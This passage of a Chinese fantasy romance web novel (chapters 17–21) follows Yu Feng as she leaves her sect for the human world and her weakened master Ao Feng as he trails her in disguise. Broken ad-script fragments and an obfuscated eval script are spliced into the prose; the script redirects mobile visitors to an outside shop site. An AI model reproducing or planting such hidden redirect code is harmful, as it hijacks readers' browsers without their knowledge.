她从小被敖风娇宠,不愿读书便不读书,但一个人无聊的紧,时常会跑去跟同门师兄姐一齐上课。 字认识不少,也会写,只是写的……只能说她自己可以分辨。 她执笔沾了墨汁,悬在纸上琢磨该写些什么,一滴浓厚的墨汁在她思考时嗒的声掉落在纸面,眨眼晕染开一大团黑。 余枫便重新换了一张。 桌案上明珠光芒柔和,将她紧蹙眉头的阴影轮廓都照的温柔。 琢磨半晌,余枫不知道给敖风留些什么话好,最终想定,就写一句“我去人间思量了”。 狼毫落纸,每个字都被写成漆黑的一坨,根本分辨不出来是个什么字。 余枫却满意的吹干墨迹,将之摆在最显眼的桌案上,而后便开始收拾包裹。 想到就做,也是余枫的特色。 既然要走,那便当下就走。 身有纳戒,她便只在包裹里放了点灵果吃食,准备踏出殿门,余光却瞥见桌案上放着的厚厚一摞书册。 师尊曾叮嘱过她空闲去看,她虽不感兴趣,但去人间的路兴许乏味,带上看看也无妨。 将书册尽数收入纳戒,她踏出恒心殿大门。 仙婢们已然歇下,谁也没有防备余枫会离开这个安乐窝,余枫走的很畅通。 她身有法器,轻而易举躲过夜巡之人,再穿过法阵也轻而易举。 夜色清幽,余枫踩着佩剑悬浮在空,衣裙被晚风吹得轻轻飞舞,黑白分明的眸子望着巍峨天地仙府,这个她生活了十几年从未离开过的地方,心中莫名有些不舍。 她紧了紧肩头包裹,双手环胸站在虚空,“没什么,过些时日我就又回来了。” 御剑转身,剑尾化流光,朝着凡间方向飞掠而去。 迎面吹来的夜风微凉,有不属于天地仙府的清新,余枫只觉肺腑激荡,血液也要跟着沸腾起来。 人间,她来了! * 钟一殿内,灯火长明。 敖风坐在金丝木的椅子上,不似往日松散悠闲,脊背挺得笔直,双手紧扣着扶手,两眼一瞬不瞬的盯着门前。 忽而,门外风声由远而至,轻微急促的脚步声在靠近。 敖风 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 眉梢微动,紧绷的肩头放松,抬手抵在眉前,复又觉得姿势不对,交叠起长腿。 姿势变幻好几回,索性直接起身,负手而立,留个颀长背影给门前。 “师祖……” 粗沉的嗓音响起,敖风脊背一僵,倏而转过身来,含笑温柔的脸立即拉下,阴云滚滚。 “怎么是你?” 广元面色焦急,手颤指着门外,“师祖在等余枫?余枫来不了……” 敖风转回椅子大马金刀地坐下,一如既往抬手撑着太阳穴,垂眼乜向广元。 “来不了?何意?” 广元一口气没提上来,缓过口气一手拍在大腿上,“她走了!” 敖风身子瞬间坐直,剑眉拧起,“走了?何意?” “恒心殿的仙婢起夜,想顺带看看余枫,结果感觉不到余枫气息,进去一看……师祖!师祖等等我!” 广元话未说完,敖风早已化为一缕风消失在原地。 夜色渺渺,浓云飘来逐渐将晚月吞噬。 狂风过境,敖风眨眼便至恒心殿。 地上仙婢跪了一行又一行,看到敖风出现,皆深深埋兽,不敢直视。 敖风沉默着一言不发,视线越过地上仙婢看向灯烛通明的恒心殿。 里面没有余枫的气息,他感知不到,但他还是朝前踏出,一步步走近殿门。 殿门虚掩着,他抬手轻轻一推便开了。 前殿桌案似乎有被动过的痕迹,还有一张黑漆漆的纸,除此之外空空如也,他便提步朝内殿转去。 脚步停在珠帘前,他喉头滚动,嗓音艰涩,“枫儿,我进来了。” 没有回应,他抬手分开珠帘,踏入其中。 脚步沉缓,他视线寸寸扫过内殿,金沙软帐的床榻上不见那熟悉身影。 他一手在身侧收紧,而后又无力松开。 身后杂乱脚步声紧跟而入,敖风望着空无一人的床榻开口。 “广元,你说她为何要在此时离开仙府?” 广元站在身后,嗫喏许久,脑海中乱成一团,不知如何回答才能安抚敖风。 等不到回答,敖风垂下长睫,抬手随意挥动。 “散了吧,恒心殿无人需要伺候。” 众仙婢面面相觑,不知如何是好,广元叹息一声,挥散众人。 四下安静,只余敖风一人。 他孤身在内殿站了许久,而后转身踏出殿门。 门关上刹那,殿内烛火尽数熄灭。 恒心殿外的风景也是绝美的,是他为她特意挑选的地界,只不过现在夜色笼罩,看不清,亦如敖风此刻神情。 砰的声,大地震颤,仿佛山体内部什么东西破表而出。 烈焰炸开似火山喷发,紧接着便是仙府巡逻弟子传音急讯,数不清的飞剑流光朝大火明光处赶去。 火光突然掀起万丈之高,数不清的玄灵兴奋叫喊着朝着恒心殿方向蜂拥而来。 黑压压一片,遮天蔽月! 如浪潮叠起,一波被天地仙府的弟子拦下,另一波继续朝着恒心殿飞掠。 惨叫声混杂着树木倒折的声音此起彼伏,如针尖刺人耳膜。 玄灵趁夜突袭,外加天地仙府刚忙碌完糟心事,竟被突破重围,转眼抵达恒心殿前。 玄灵通身漆黑,唯有两眼散发幽蓝之光。 见山峰前迎风而立的敖风,幽蓝的眼瞬间圆睁。 敖风幽幽撩起眼,冷漠神色瞬间阴寒。 “聒噪。” 周遭罡风瞬起,天地色变! 18. 第18章 日头初升,淡色金光遍洒大地。此时已是人间早市的尾声,小摊贩的吆喝声渐渐散去。 客栈二楼的雕花窗户从内推开,余枫打了个哈欠朝下方望去,见还有几个早摊,当下回屋洗漱匆匆下楼。 上回来洪尧城是以斩妖除魔,在街头闲逛也不过半个时辰,如今才算是初到人间。 余枫心里自是兴奋的,昨日夜里御剑而来,正巧赶了晚市。便先逛足了瘾,连客栈都忘了选。 好在新鲜感刺激的她异常活跃,根本不困,御剑腾空,在洪尧城上空转了又转。既欣赏洪尧城夜景,也寻那日听到那古怪呼唤声的地方。 寻将一夜,竟是未果。 心想夜里看不清路况,等到白日再寻便是。 赶上客栈开门,便定了间天字号上房,虽不如恒心殿的金纱软帐,但胜在眼下乏累,她入睡的十分快。 洪尧城早市种类十分丰富,余枫挑了两样闻起来最香的——一碗胡辣汤,以及刚出锅的油炸馃子。 胡辣汤浓稠,余枫捏着汤勺搅动,略微呛鼻的味道扑面而来。 余枫准备直接来上一口,余光却瞥见旁边客人将馃子掰碎泡在汤里,连汤带馃子一并舀起,方才送入口中,那人知足地眯起眼。 余枫学着那人的模样把馃子掰碎,舀起一勺送入口中。 汤汁浓稠,馃子酥脆,微呛辛辣的滋味瞬间席卷余枫常年只吃灵果的单一味蕾,眼底惊艳光芒颤动。 忽而想起,她那位师尊也是素来只吃灵果,有时甚至接连几月辟谷。 上回带的糖葫芦他说滋味不错,想来人间的这些吃食他也喜欢,待她弄清楚那声音是何由来,再带些吃食与他。 这回多带点。 埋头吃的有滋有味,余光瞥见路边经过个穿着道袍的白发老者,步伐很快,身上蓝色道袍呼呼生风,后面吊着两个拿佩剑布袋的小弟子。 不等余枫看仔细那道长模样,三人眨眼就没入人群中。 隔壁桌嘀咕起来。 “瞧见了吗?朝着吴员外家去的。” “如此看来,吴员外家闹鬼是真的了……” “那还有假?我前几天碰到吴员外的儿子出来晒太阳,那张脸,啧,活像是树杈子成精了,干巴巴,捏不出二两肉来。” 另一人吃吃笑道,“怕不是招惹上了野狐狸精,被吸干了精气?” “说不准,他内人在时就是不消停的主。” 这边话音落下,身侧铃铛轻响,走来穿着素色纱裙的娇俏女子,问道,“敢问两位,你们口中说的那吴家怎么走?” 二人将余枫上下打量一遍,不过二九年华,眸中还是涉世未深的锐气与探索。 “吴府近日不太平,姑娘还是莫要去凑热闹的好。” “他若太平,我与他素不相识,去了作甚?我去是要捉妖除祟。” “捉妖除祟?”二人重新看了余枫一眼,佩剑都没有,“小姑娘,捉妖不是闹着玩的,还是别去了。” “我可没闹着玩。”余枫凭空取出照雪剑拍在桌上,顷刻间用过早饭的燥热被一股冰寒之气驱散,她笑,“捉妖,我是认真的。” 得了吴员外家住处,余枫说了句“谢了”,便往那处赶。 前脚刚走,没多久天边一道流光飞驰而过,长长拖尾,眨眼即逝。 紧接着地面远处轰隆一声巨响,烟尘滚滚直入天,周遭吃饭散客纷纷起身探头朝那处围拢而去。 好端端的一条巷子墙壁被砸的坍塌,弥漫烟尘徐徐被风吹散,乱石堆里埋着一人,半截衣袖夹在石缝,露在外面。 衣料脏污或红或黑,已看不出本来面目,只边缘绣着风云纹样随风微动。 “可怜了这乞丐,竟被天降落石砸死,哎……” “散了吧散了吧,流这么多血没救了,等会儿官府会派人来处理的。” * “吴府。” 余枫按照那食客指引,停在一处府邸门前,仰头看着牌匾眉梢轻扬化开笑。 “就是这儿了。” 抬脚迈上台阶,拉起兽口衔环将要叩门,突地远处轰隆声巨响,惊得她心头一跳,回头忙张望声源处。 民宅栉次鳞比,远处灰黄的尘柱扶摇而上。 “这人间当真热闹,这又是什么节目?可惜错过了……” 余枫惋惜一声,继续叩门。 没一会儿门那头传来脚步声。 门闩落下,吱嘎一声,只开了条缝隙,露出门那头人布满皱纹的眼来。 那人眉头蹙着,上下将余枫打量一遍,见其衣着缎料不俗,紧皱着的眉头略微松开。 “姑娘有何事?” “本姑娘下山历练,听闻你家不太平,前来捉妖除祟,还你们太平安宁。” 她是寻那声音不假,但也是天地仙府的弟子,捉妖除祟是职责。 听闻闹鬼,自是要出手。 余枫笑着,门缝那人舒展眉头却再次拧起,沉声呵斥。 “像你这样招摇撞骗的,我见多了!但连个道袍都不穿就来骗钱的还是头一回,快滚!” 门砰地关上,声音震得余枫耳膜嗡嗡作响。 “哎……”余枫上前重新叩门,但这回无人理会。 倒是片刻后门后面又传来一声喝骂,“快滚,干扰了道长除妖,小心你的皮!” 余枫险些被气笑。 天地仙府师祖的关门弟子,竟然被认为是招摇撞骗的。 她拍了拍衣袖褶皱,从台阶上退了下来,朝这吴员外宅子上空望了眼。 灰黑如云雾状的妖气盘旋在宅子上方,风吹不散,还有丝丝缕缕从四面八方而来不断汇拢,越发浓郁。 余枫蹙蹙眉,紧接着见一把符纸撒向天空,许是那白发老道在收妖了。 “也罢,有人收就行。” 余枫离去,四下闲逛熟悉地形,寻找那日慌张之下跑入的窄巷。 窄巷一时半会寻不到,余枫先寻到那日买糖葫芦的地儿。 本以为要在城中绕好大的圈子,没成想没走多远就到了。 余枫有些诧异。 回头看看上次随狄玉环孔方海来除妖的地儿,再望向那吴府,两家刚好隔条街相对。 不过先前的妖邪杀生太多,已被她跟狄玉环二人就地诛杀,吴府的妖邪又有人收,余枫也没有多作停留,提步顺着买糖葫芦的街道四下晃着,看哪儿有熟眼的巷子。 她记得,那窄巷附近是有棵参天榕树,那日她一抬头,就看到繁茂的枝叶进入视野。 “榕树、榕树……” 余枫口中喃喃四下张望,余光一抹绿意闪过,定睛看去,东北方向一棵 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 茂密的榕树正被风吹的叶片摇晃。 依着榕树确定那日她所在方位,没多久,余枫就寻到了与那日窄巷相似的地方。 不过二人宽,两侧砖红高墙,只不过没了那棵细柳腰的枯死槐树,也没有巷子尽头贴着掉色福字的木门。 余枫抬头朝上空望去,蓝天白云,那榕树映入视野的位置与上次如出一辙。 她抬脚继续往深处走,可那日的景象并没有再现。 “真是怪事,莫不是走了?消散了?还是我那日不过是一场幻觉?” 幻觉定是不可能,余枫琢磨了下要么是消散了,要么是需要什么触发条件,亦或者是场偶然。 若是有触发条件还可琢磨一番,但若是偶然,那就只能完全听天由命碰运气了。 余枫快步走到巷子尽头处,抬手在冷硬的墙壁上拍了拍,也尝试感应灵力或者妖气。 但什么都没有。 踢了一脚墙头,余枫悻悻往回走。 本以为这次下山只要找回原地,就能搞明白那门后面的声音究竟怎么回事,谁曾想地方找到了,线索断了。 悲伤不过三秒,踏出窄巷看着眼前摆卖各式各样玩具的街道,那点烦恼顷刻抛却九霄云外。 余枫沿着街道将每个摊位都光顾了一遍,多余的东西放入纳戒,只留下一副白色兔脸的面具戴着。 着素色长裙在街道中央轻快走着,那兔子面具倒显得十分贴合。 人间煞是有趣,不知不觉又是天色将晚。 看着街道都在匆匆回家的路人,余枫也慢悠悠地往客栈走。 临近客栈,路边有家羊肉面的小摊正在收拾,浓郁的羊汤味道随风飘来。 余枫心中盘算着明日就吃这小摊的羊肉面,又往前走几步,脚下却倏而顿住,蹙眉望向前方不远处的街道。 那边,飘来淡淡血腥气…… 余枫提步要朝那头走,收拾小摊的羊肉面老板开口吆喝。 “哎!姑娘别去那头,今日早上天降落石砸死个乞丐,画面血腥的紧,天色不早,免得吓到你,快回去吧,待会官府的人就来了,会收拾干净。” “天降落石?”余枫回头又望那血腥味道飘来的方向,“这乞丐真倒霉。” “谁说不是呢,生前怕是一顿饱饭都没吃,还死的如此冤枉,哎,世事无常啊!” 余枫定定望着那方向,忽而提步朝着羊肉面摊走来。 “掌柜的,给我一碗羊肉面。” “姑娘是要祭奠那乞丐?” 余枫嗯了一声,两眼隔着兔子面具望着那摊主,“我年幼时也遭过难事,若那时无人朝我伸出手,便没有我今日。” 她扬唇又是一笑,“既有我今日,我也合该碰到这些事也伸出手。” 摊主闻言又多加了些羊肉,递给余枫,“那我也顺带搭把手吧,若有万一他日我落难,也愿有人如姑娘般帮扶一把。” 余枫给了钱,端着热气腾腾的羊肉面朝着那处走去。 碎石满地,血液从堆积的石缝中淌出,染红了大片地面。 有些时辰,血迹已然开始发黑,缝隙中露出一截衣袖被粘在那血色上,风吹不动。 余枫透过面具看着这一幕,蹲下身将羊肉面放在旁边,而后开始徒手搬乱石。 那乞丐模样身形逐渐显出…… 19. 第19章 凌乱脏污的发丝遮住眉眼,只露出精致下颌跟两片染血薄唇,身上袍子被染得脏污分辨不出来原本颜色,紧贴在身上,勾出劲瘦的腰身轮廓。 他呈大字型躺在乱石堆里,不知是不是余枫的错觉,竟然看到他胸腔有规律地起伏,仔细聆听,还能听到均匀的呼吸声。 不像是濒死,反倒像是睡着了。 余枫放下手中羊肉汤面,凑上前试探其鼻息,平缓略微乏力。并不是她的错觉,这乞丐确实还活着。 扫了眼地上断裂的红砖,余枫心下感慨,这兴许才是命比金石。 外伤瞧着严重,余枫从纳戒中取出一瓶疗伤灵水,凑向乞丐染血薄唇。 灵水微凉甘甜,徐徐渗入乞丐干裂起皮的唇,不消片刻,乞丐身上外伤以肉眼可见的速度飞快愈合。 余光瞥见那乞丐落在地上的手指勾动,余枫眉梢轻动,清脆声音从兔子面具下闷闷传出。 “你醒了?” 凌乱发丝下,乞丐双眼徐徐睁开。 纯透的黑,一瞬间的茫然过后,眼底精芒泛起,似锋锐的刀转向身旁之人。 月色洁白,照着女子面上白色兔子面具,三瓣嘴微微笑着,被霜色染的温柔和善。 不是玄灵,不具威胁。 乞丐冷漠移开眼,闭目感知体内灵力。 如洪流乱窜,尝试引导调理,但灵力又毫无征兆地突然溃散,难以重聚。 他黑眸陡然睁开,气息不稳定呛得连连咳嗽。 余枫伸手帮他顺着后背,却被他抬手挥开。 “别碰本座。” 本座? 她师尊敖风那般人物才自称本座,这小乞丐口气不小。 也兴许是被石头砸中,眼下有些混乱,胡说八道,余枫并不与他计较。 “我方才救了你,你倒是跟救命恩人不客气。” “本座并未求着你救人,”乞丐态度仍旧那般,轻哼一声,“再者四海八荒,能杀死本座之人还未降生,何来需你救一说。” 余枫一手撑着下巴看他,听他这么说点点头,“言之有理。” 她转身将还冒着热气的羊肉汤面端起递到乞丐面前,“你无需我救,但这些是我想做的,接不接受都随你,我只求问心无愧,不留憾事。” 乞丐瞥了眼羊肉汤面,盘膝打坐,“本座早已辟谷。” 一口一个本座,身上又感知不到灵力,这乞丐怕真是被砸到脑袋,伤的不轻。 余枫不跟他计较,从纳戒中取出一瓶伤药,连同羊肉面一并递到他面前。 起身欲走,面具丝带脱落,露出她半边柳眉杏眼。她眼疾手快地托住,将丝带重新系紧。 那乞丐浑身骤然一僵,双目圆睁,兀地伸手扣住余枫细腕。 他五指劲直如竹,血污干涸在上,瞧着人虚弱,但眼下却将余枫手腕攥的微微疼。 “小乞丐?”余枫抬抬被他攥住的手腕,“这是做什么?” 乞丐不说话,只是薄唇紧抿,凌乱发丝下的黑眸直勾勾盯着她。 “松开吧,我若要走,凭你留不住我。” 那兔子面具笑盈盈看着他,话音听不出喜怒。乞丐忽而僵住,喉头艰涩上下滑动,而后梦魇般喃喃呓语。 “是了,你要走,凭我拦不住……” 眼见他五指缓慢松开,余枫脱开活动了下手腕,负手在身后看他,“大难不死定有后福,日后你可要正心明性,行善积德。” 言罢摆摆手,转身便走。 看着余枫逐渐远去轻松逍遥的背影,敖风垂在身侧的手紧了又紧。 定定立在原地凝了半晌,直至余枫身形彻底消失在视野,他转眼瞥向地面,那一碗还冒着热气的羊肉面,还有一瓶伤药。 “我早该知,你总是那般好心肠,说出口的话也是仁善……” 只是她随口发善一言,落入他这有心人耳中,险些以为今世也是两情相悦了。 要走,便走罢。 夜色弥漫,他转身朝着与余枫的反方向徐徐前行。 撩开衣袖,解开腕间发旧的手链,任由风将之从指缝中吹落。 “当这公差整日忙的脚不沾地,哪儿有什么闲工夫处理劳什子乞丐尸首?净给人添麻烦!” “别抱怨了,也不麻烦,直接草席子一卷,丢了交差回家吃饭。” 没走几步,身后传来两个衙役对话声。 “这尸首呢?” “怕是有好心人先收拾了,真是谢谢他了。” “哟,地上还有碗羊肉面?热乎的,正巧饿了,我不客气了。” “哎哎,那怕是给乞丐祭奠的,还是别吃了吧,当心缠上脏东西,近日那吴府的事没听说吗?” “怕什么?你还信那些?我见着那吴家公子了,定是窑子去多了,怕传出去难听,借口说是精怪作祟。” 面碗被端起,筷子从中翻搅一番,汤内热气被放出,浓郁的羊肉鲜味随风朝前飘去。 “这碗就当犒劳咱们辛苦一天的人了。” 衙役笑着,满满捞起一筷子就要往嘴里送,忽而脖颈一紧,竟是被人提住动弹不得。 “胆子不小,她给本座的,你也敢拿。” 旁边衙役铮的声直接抽刀对准敖风,“臭乞丐,跟官爷动手,我看你是活腻了吧!” 敖风轻瞥一眼来人,先一记手刀将手中人劈晕,伸手稳稳接住要坠落的羊肉面,顺势旋身一转,踢中迎面走来衙役脖颈。 看着二人直挺挺倒地,敖风端着面迎风而立。 “没了灵力,本座也不至于拿你们两个区区凡人束手无策。” 垂眸看着手中热气有些散去的羊肉面,敖风眉头微敛,将之放回原位,扭头又要离开。 这回没走几步,早已辟谷千余年的天地仙府师祖腹中发出一声长鸣。 灵力消散,师祖竟然……饿了。 敖风脚步倏然顿住,低头看了眼腹部,觉定是场错觉。 复又前行,身后那碗羊肉汤面的香气却阴魂不散般处处纠缠。 腹中长鸣愈发频繁,敖风怒气上涌,脚下倏然止住。 抬手轻拭纳戒,没有灵力,纳戒毫无反应。 他动作愈发急躁,一遍遍重试,纳戒上黑色灵石如沉睡般,仍旧没有反应。 他转而在虚空画传音咒联络广元,没有灵力,同样没有丁点反应。 敖风气急败坏,回头怒瞪地上那碗羊肉汤面。 “本座乃天地造化风灵龙!难不成沦落到要吃嗟来之食的地步?!” 更何况还是余枫给的……更是令他崩溃。 他于天地中造化,受天地眷顾,素来骄傲。近万年顺风顺水,两日内却在余枫身上接连挫败。与原先截然不同,敖风始料未及,又窘又恼。 她若要走何故偷偷逃跑?他自会大方放开手,日后天高海阔也任她去,再不相逢。 心里是这么想,她给的东西也定是不要,但脚下却不受控制地朝着羊肉汤面越走越近。 饥饿的感受甚是难耐,敖风僵着身子端起面碗,手背紧绷到青筋暴起,半晌深呼出口浊气,“只这一次……” 心头不爽利,却也不得不承认这碗羊肉汤面味道甚好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13948396|146154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃完将碗放回原地,复又看着摆在旁边的伤药,闭目又做了好一番心里建设,方才将之拾起。 起身行出几步,弯腰在地上又是一勾,将那老旧的手链收入怀中。 那边羊肉面摊主收完摊回家,瞧着地上吃的干干净净的面碗,还有倒地的两个衙役,再看向不远处站着的乞丐。 “这、这……” 敖风回头瞥向他,“他们公务繁忙乏累睡着了,不信你试试,还有气。” 得了他这话,那羊肉面摊主眼底惊恐散去,打趣他道,“你竟没死?当真是遇上贵人了,面也吃的还挺干净,能吃好事,吃饱有力气。” 敖风面色有些不自然,清了清嗓子转身大步离去。 与玄灵交战,那些个玄灵数量众多,且明显有备而来,最后不知使的什么法器,虽被他强悍的灵力震碎,玄灵跟法器一并溃散,他也被爆炸掀飞,昏迷中竟落入人间。 隐约记得昏迷前身上几处刺痛,许是混乱中那法器碎片飞溅没入体内。灵力消散,兴许与此有关,他得找个安静地儿把碎片取出。 他孤身一人来到洪尧城外,夜色下河水泛银光,如明亮丝带将地面一分为二。 银盘高悬,四下亮如晨昏之际。 敖风行至岸边一棵柳树前盘膝而坐,从怀中摸出方才余枫留下的疗伤药。 玉白的瓷瓶,指腹摩挲着细腻光滑,塞子拔开,里面顷刻间飘散出浓浓药味,还有清新灵气。 余枫身上所带药物,皆是天地仙府最好的,有些甚至是他闲暇之余亲手炼制。 手中这瓶,恰好就是他炼制的。 丹药里面蕴含精纯灵力,可以为他所用。 对着瓷瓶看了许久,他轻哼出声,“我给你的东西,就这么随手赠给别人。” 虽然随手赠给的“别人”是他,但余枫并没有认出他,那便是赠给了别人。 心头又发闷,但他还是倒出一颗送入口中。 感觉灵力顺着喉头落入丹田,他当下闭目引导灵力寻找体内法器碎片。 果真如他所料,不少法器碎片没入他体内,有些恰好堵住灵力运行筋脉,竟有十几处。 他引导着丹药灵力将手臂上两处碎片逼出,噗的声,手臂破开血色,染血的金属碎片落地。 想再逼出两片,丹药的灵力却已耗光。 碎片扎的越深,要逼出所需的灵力便越多。 一整瓶丹药下肚,他体内十几个碎片只被逼出五六片,还有大部分阻隔在灵力运行的筋脉上。 东方逐渐亮出一线鱼肚白,敖风眉头紧锁着将地上逼出的碎片拾起打量。 青铜色的碎片,边缘位置刻着繁复的符篆。 他活了万年,知道的东西甚多,眼下这符篆为法器增益咒言。 碎片很小,只几个碎片上的咒言大意为,“灭、破、转”。 尽是大杀咒言。 为了除掉他,这些玄灵当真下了不少功夫。 不过他乃天地造化风灵龙,能消灭他的,只有天道。 敖风不屑勾唇,抬手在虚空,指尖亮起微光,一道传音咒将画了一半,灵力便消散了去。 不过好在手臂上的碎片清除干净,闲暇可以打坐结印汇聚灵力,剩下的碎片慢慢拔除。 解决了件麻烦事,敖风心头总算松快几分,趁着日光褪去身上脏污衣裳,提步入河。 龙乃冷血动物,他先天不喜冷水,一入河中,顿时打了个激灵,忙三下五除二开始清洗。 脸上血污方才洗净,看着波澜未平的水面,他整个人却骤然僵住。 20. 第20章 水波未平,倒映在其中的人影跟着晃荡,五官破碎又重聚,直至水面平滑如镜,敖风也彻底看清水中倒影。 唇红齿白,眉眼狭长,与他原本样貌虽有几分相似,但却充斥着桀骜与淡淡稚气,分明是他破壳化人没多久的模样。 修为消散,没成想模样也跟着退化。 敖风定定看着水中倒影,嘴里喃喃,“怪不得她没认出我来,原是如此……” 洗净擦干,上岸迎着日光盘膝打坐。 双臂堵塞已去,可结印吸收日月精华天地灵气,暂存体内使用。 存到目前能存储的极限,要直接御风回到天地仙府却是不够。 敖风呼出口浊气,打开纳戒先取了衣物。 他的衣裳尽是光鲜亮丽之物,所缀奇珍异宝无数,准备换上,却又想起凡人所着衣物实在普通,他穿的过分华丽,恐会招来不长眼的。 倒不是怕被打劫,只是以他的脾性,实在不好放过他们。 皱着眉头思索半晌,将压箱底的一件靛蓝袍子取出换上。 色调深沉,他甚是嫌弃,腰间加了一条金玉带神色才好转几分。 至于散乱的长发,他随意用手梳了两下,任由其披散。 他素来不爱束发,像是上了枷锁,令龙不适。 从前束发,一是因余枫年幼,怕带坏了她,二则是想一直给余枫留下好的印象,因而在她面前规规矩矩。 至于现在,余枫今生心意已明,他也不是纠缠的苦主。 她要走自己的路,他也做回自己,皆大欢喜。 他坐在河边,看着流水潺潺,随手抄起一块石头在河面打了水漂。 石头飞掠过水面,发出叮咚声响,他眸光晦暗不明。 回头望了眼洪尧城方向,不觉眉头皱的更紧,当下起身拍拍灰尘,运起灵力朝着天地仙府方向飞掠而去。 才升入半空,便觉存储的灵力如瀑布似飞速消耗,紧忙平稳落地,快速在虚空画下传音咒。 “广元,本座在洪尧城,速速派人来接!” 传音咒朝着天地仙府方向飞掠而去,行出百米,金光随风消散,却是灵力不足,难以维持。 敖风见状气极反笑,旋即一脚踢飞块碎石。 “本座何曾沦落至此?!若是有内丹在,也不至于对付个区区玄灵落得如此田地。” 内丹…… 他倏而回头看向洪尧城方向。 内丹现在余枫身上,若能取回先恢复伤势灵力,再将内丹给她…… “此法无疑是眼下最优解,”敖风一手搓着下巴,蹙起眉头,“只是免不了又要见那小鬼头,倒像是本座缠着她,传出去岂不叫人看了笑话?” 他双手负在身后烦躁地来回踱步,忽而又瞧见河水中他的倒影,眉头逐渐舒展。 险些忘了,眼下他容貌变化,谁人知他是天地仙府师祖敖风?便是到了余枫面前,她都认不出。 只消借内丹一用,而后立马走人就是。 “借?”敖风哈了一声,“本座的东西,本座还需说借?” 又是一甩袖,朝着洪尧城方向大步而去,直至在昨日夜里与余枫相遇的地方停下。 人间早市热闹,入目便是黑压压的人群,街道左右叫卖声此起彼伏,各式吃食糕点烟火气随风熏染而来。 敖风在天地仙府清净惯了,也有几百年不曾到人间,突到此环境,一时被吵嚷声、烟熏火燎气息激地眉头紧皱。 漫吸口气平复心情,敖风这才开始四下搜寻余枫影子。 没有灵力,只靠目力在人海中寻人,是极为困难的。 敖风在狭长的早市街道来来回回走了好几圈,仍旧没有寻到余枫半点影子。甚至寻到昨夜目送她消失的方向,还是没有寻到。 他步伐越来越快,索性拉住过往路人询问,“有没有看到一个戴兔子面具的女……” 话未说完,身侧素影与他擦肩而过,如缎长发随行飘动,沾染着柑橘香的发梢轻拂过他肩头,留下缥缈香气。 “掌柜的,还是一份胡辣汤,再加一份馃子!” 女子嗓音清脆,渐行渐远,直至被左右鼎沸人声淹没,敖风方才回过神来,飞快扭头寻找那抹身影。 素白薄纱的长裙在日光下泛着月色柔光,其人笑容明媚,身段轻盈,发鬓挂着粉白的兔子面具。在混乱街道中,仿佛乱石中生出的莲。 在小吃摊随意拉开把椅子坐下,左右立即有惊艳探究的目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13958662|146154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光逢迎而上。 余枫浑然不觉,沉浸在人间美食之中,瞧不出一星半点不告而别的惭愧,轻松自在倒是颇多。 敖风松开过路人的手,凝着余枫方向,提步朝她行去,挑着她对面的小吃摊坐下,跟她保持一段距离。 “客官是要来碗豆汁吗?” 余光中,小二模样的人靠近,敖风随意摆手应了声,继续留意余枫动向。 “豆汁来了!” 小二吆喝一声,将刚出锅的豆汁摆在敖风面前,“客官您慢用。” 没有灵力,敖风这身体也就比凡人强悍些,一日三餐却是少不了。 留意着余枫,听着吃食上来,想也没想端起往嘴边送,饮下一口,只觉馊味直冲鼻腔,当下反胃,仓惶扭头吐了,呛得自己连连咳嗽。 “你给本座喝的什么东西?!” 余枫吃的正香,听到那头闹腾,隐约还听到“本座”二字,撩起眼朝闹哄处望去。 见着个穿靛蓝袍子的劲瘦少年披散长发,怒视店小二,眼尾不知是被呛得还是气的,泛着红,还噙着点点水光。 小二嗫喏回道,“客官,豆汁就是这个味道……” “诓骗本座?” 这声“本座”余枫听得真切,也认出眼前这少年是谁。 吃饱喝足,她撂下几个铜板,顺势起身朝着那少年踱去。 “他没骗你,豆汁就是那个味道,多出去走走瞧瞧,莫要与小二哥为难了。” 余枫冲他盈盈一笑,而后提步便走。 敖风起身便要追,被小二拽住胳膊,“哎客官,您还没给钱呢。” 敖风从纳戒中摸出一锭银给他,两眼不离余枫背影,“找零。” 天材地宝,无人能从他手中要去。金银虽不如灵石宝玉,但也是他心头好,零钱自是要找的。 小二为难的摸着脑袋,“客官,这数目有点大,咱们小店,找不开啊……您有没有小点的?” 眼瞅着余枫要消失在人海,敖风焦急之下,用了点灵力,切下银子一角丢给小二,提步就追。 可车水马龙,哪儿还有余枫身影。 敖风深吸口气,攥紧手中银子,抬头看向余枫先前走出的客栈牌匾。 21. 第21章 余枫再回到客栈时,已是月上柳梢头。 敖风立在二楼上方楼梯口,披散墨发,双手环在胸前,身形站得笔直,两眼一瞬不瞬的盯着门口。 街道上行人越来越少,甚至一炷香过去都见不到人影晃动,掌柜的手撑着脑袋在柜台前打盹,蓦地手一滑,整个人瞬间灵醒,看看四下,招手唤来小二关门打烊。 “慢着。” 沉闷微冷的嗓音从楼上飘下,掌柜跟小二似被冷风一吹打了个激灵,抬头朝二楼方向望去。 墙上灯烛被风吹得左右摇曳,立在栏杆前的少年长发披散,容貌被映的浓墨重彩,阴沉沉似个鬼。 掌柜的吞咽下口水,问,“客官,可是还有什么吩咐?” 敖风冷声嗤道,“本座要欣赏夜景,谁让你们关的。” 